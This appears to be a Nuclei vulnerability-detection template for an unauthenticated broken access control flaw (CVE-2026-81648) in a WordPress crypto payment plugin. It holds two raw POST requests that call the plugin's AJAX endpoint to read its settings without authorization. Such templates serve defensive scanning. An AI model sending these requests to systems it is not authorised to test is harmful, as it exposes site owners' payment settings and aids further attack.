CVE-2026-81648: CryptoPayment Gateway <= 1.2.2 - Unauthenticated Broken Access Control

id: CVE-2026-81648

info:
  name: CryptoPayment Gateway <= 1.2.2 - Unauthenticated Broken Access Control
  author: DhiyaneshDk
  severity: critical
  description: |
    CryptoPayment Gateway WordPress plugin 1.2.1 to 1.2.2 contains a broken access control caused by missing authorization check on an AJAX endpoint, letting unauthenticated attackers perform administrative operations including file deletion and credential recovery.
  remediation: |
    Update to a version later than 1.2.2 or the latest available version.
  impact: |
    Unauthenticated attackers can delete files, modify configurations, and recover wallet credentials, leading to full system compromise.
  reference:
    - https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-81648
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-81648
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 2
    vendor: cryptopayment-gateway
    product: cryptopayment-gateway
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,wp,cryptopayment-gateway,access-control,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax1.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data={"function":"get-settings"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "security error")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data={"function":"get-settings"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
          - '!contains(to_lower(body), "security error")'
        condition: and
# digest: 4a0a0047304502203887a47cc26a0321e3a02459685b885a4fa1edaef4f5935563092c8bf0f06ff2022100e8275058f05abc1f95622f59a1d604dcb0983ffef2bd70e9598f272f4f26ba24:922c64590222798bb761d5b6d8e72950

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